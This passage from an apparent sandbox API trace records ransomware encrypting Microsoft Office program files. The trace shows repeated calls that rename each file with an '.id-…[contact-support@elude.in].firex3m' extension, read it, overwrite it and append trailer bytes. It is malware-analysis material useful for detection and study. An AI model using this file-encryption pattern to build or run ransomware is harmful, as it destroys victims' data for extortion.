Content\\1033\\XFUNC_U.VSSX", len=0x4f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX") returned 1 [0191.980] GetProcessHeap () returned 0x630000 [0191.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45cc) returned 0x74656a8 [0191.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0195.465] CloseHandle (hObject=0x4f0) returned 1 [0195.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0195.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vssx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.466] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1abcabc, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1abcabc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x81f1, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="XFUNC_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~4.FIR")) returned 0x6d4e40 [0195.467] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0195.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vssx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0195.467] GetProcessHeap () returned 0x630000 [0195.467] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8201) returned 0x7247db0 [0195.468] GetProcessHeap () returned 0x630000 [0195.468] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8201) returned 0x72846e0 [0195.468] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.468] ReadFile (in: hFile=0x4f0, lpBuffer=0x7247db0, nNumberOfBytesToRead=0x81e0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x5d7ff0c*=0x81e0, lpOverlapped=0x0) returned 1 [0198.141] GetProcessHeap () returned 0x630000 [0198.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0198.141] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.141] WriteFile (in: hFile=0x4f0, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0x81e0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x5d7ff0c*=0x81e0, lpOverlapped=0x0) returned 1 [0198.141] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.141] WriteFile (in: hFile=0x4f0, lpBuffer=0x728c8bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728c8bf*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0198.141] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0198.142] CloseHandle (hObject=0x4f0) returned 1 [0198.142] GetProcessHeap () returned 0x630000 [0198.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0198.142] GetProcessHeap () returned 0x630000 [0198.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0198.142] GetProcessHeap () returned 0x630000 [0198.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0198.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0198.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1abcabc, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1abcabc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3c0d4146, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8215, dwReserved0=0xaf87496, dwReserved1=0x7247da8, cFileName="XFUNC_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~4.FIR")) returned 0x6d5280 [0198.143] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0198.143] Sleep (dwMilliseconds=0x1) [0200.548] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE", len=0x5d | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE") returned 1 [0200.549] GetProcessHeap () returned 0x630000 [0200.549] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4b80) returned 0x7133a90 [0200.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0200.550] CloseHandle (hObject=0x4d4) returned 1 [0200.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dw20.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dw20.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x245fcdca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a9ed0, dwReserved0=0x650040, dwReserved1=0x75006c, cFileName="DW20.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DW20EX~1.FIR")) returned 0x6d4f00 [0200.551] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0200.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dw20.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0200.552] GetProcessHeap () returned 0x630000 [0200.552] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73c9520 [0200.552] GetProcessHeap () returned 0x630000 [0200.552] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73d4950 [0200.553] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.553] ReadFile (in: hFile=0x4d4, lpBuffer=0x73c9520, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c9520*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.921] GetProcessHeap () returned 0x630000 [0208.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0208.921] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.921] WriteFile (in: hFile=0x4d4, lpBuffer=0x73d4950*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d4950*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.921] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.921] WriteFile (in: hFile=0x4d4, lpBuffer=0x73dfd4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73dfd4f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.923] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.923] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.923] CloseHandle (hObject=0x4d4) returned 1 [0208.923] GetProcessHeap () returned 0x630000 [0208.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d4950 | out: hHeap=0x630000) returned 1 [0208.923] GetProcessHeap () returned 0x630000 [0208.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c9520 | out: hHeap=0x630000) returned 1 [0208.924] GetProcessHeap () returned 0x630000 [0208.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0208.924] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x245fcdca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x427a1eec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a9ef4, dwReserved0=0xaf87496, dwReserved1=0x73c9518, cFileName="DW20.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DW20EX~1.FIR")) returned 0x6d5280 [0208.924] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0208.924] Sleep (dwMilliseconds=0x1) [0210.775] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF", len=0x6d | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 1 [0210.775] GetProcessHeap () returned 0x630000 [0210.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4df8) returned 0x6fe4288 [0210.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0210.776] CloseHandle (hObject=0x620) returned 1 [0210.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0xff00b748, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0210.777] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0210.777] GetProcessHeap () returned 0x630000 [0210.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c1) returned 0x713ced0 [0210.777] GetProcessHeap () returned 0x630000 [0210.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c1) returned 0x739bee0 [0210.777] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.777] ReadFile (in: hFile=0x620, lpBuffer=0x713ced0, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ced0*, lpNumberOfBytesRead=0x5d7ff0c*=0x8a0, lpOverlapped=0x0) returned 1 [0210.787] GetProcessHeap () returned 0x630000 [0210.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0210.787] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.787] WriteFile (in: hFile=0x620, lpBuffer=0x739bee0*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739bee0*, lpNumberOfBytesWritten=0x5d7ff0c*=0x8a0, lpOverlapped=0x0) returned 1 [0210.787] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.787] WriteFile (in: hFile=0x620, lpBuffer=0x739c77f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739c77f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.787] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.788] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.788] CloseHandle (hObject=0x620) returned 1 [0210.788] GetProcessHeap () returned 0x630000 [0210.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739bee0 | out: hHeap=0x630000) returned 1 [0210.788] GetProcessHeap () returned 0x630000 [0210.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x713ced0 | out: hHeap=0x630000) returned 1 [0210.788] GetProcessHeap () returned 0x630000 [0210.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0210.788] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x43959080, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8c5, dwReserved0=0xaf87496, dwReserved1=0x713cec8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0210.788] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.788] Sleep (dwMilliseconds=0x1) [0210.791] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF", len=0x6a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF") returned 1 [0210.791] GetProcessHeap () returned 0x630000 [0210.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4df0) returned 0x6fe4288 [0210.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0210.793] CloseHandle (hObject=0x698) returned 1 [0210.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="SLATE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SLATEI~1.FIR")) returned 0x6d5040 [0210.795] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0210.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0210.796] GetProcessHeap () returned 0x630000 [0210.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2558 [0210.796] GetProcessHeap () returned 0x630000 [0210.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0950 [0210.797] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.797] ReadFile (in: hFile=0x620, lpBuffer=0x6d2558, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2558*, lpNumberOfBytesRead=0x5d7ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0210.799] GetProcessHeap () returned 0x630000 [0210.799] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0210.799] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.799] WriteFile (in: hFile=0x620, lpBuffer=0x6d0950*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0950*, lpNumberOfBytesWritten=0x5d7ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0210.799] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.799] WriteFile (in: 